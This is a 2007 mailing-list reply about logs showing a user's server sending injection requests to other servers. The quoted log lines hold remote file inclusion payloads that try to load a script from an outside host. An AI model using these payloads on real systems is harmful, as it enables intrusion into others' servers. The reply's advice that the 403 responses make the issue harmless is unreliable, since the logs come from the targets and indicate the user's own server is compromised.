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Re: Server injection attack



On Tue, Jul 10, 2007 at 01:55:54AM -0000, rocky wrote:
> Hey list,
> 
> Currently, we get some notice about some one is using our server doing
> injection attacks against other servers.
> 
> Below are some log files they sent to us
> $------------------Snap begin---------------------------$
>  our.server.ip.address - - [09/Jul/2007:00:31:43 +0200] "GET
> >  //.comhttp://http://chapolin.110mb.com/check.jpg? HTTP/1.0" 403 7414 "-"
> >  "Mozilla/5.0"
> >  our.server.ip.address - - [09/Jul/2007:00:38:01 +0200] "GET
> >  //.infohttp://http://chapolin.110mb.com/check.jpg? HTTP/1.0" 403 7415
> >  "-" "Mozilla/5.0"
> >  our.server.ip.address - - [09/Jul/2007:00:38:01 +0200] "GET
> >  //.brhttp://http://chapolin.110mb.com/check.jpg? HTTP/1.0" 403 7413 "-"
> >  "Mozilla/5.0"
> $----------------snap end---------------------------------$
> 
> Unfortunately, the person who is in charge of server maintaining is
> away now and we can not get hold of him. Can any of you give me some
> direction on how to track down the security hole and eliminate it
> please?
> 
> Thanks a lot in advance!
> 
Well, if all the requests are getting a 403 response like the ones you
have snipped, then I wouldn't worry.  The 403 code means "forbidden", so
your server is not allowing the access anyways and only logging it.

Regards,

-Roberto
-- 
Roberto C. Sánchez
http://people.connexer.com/~roberto
http://www.connexer.com

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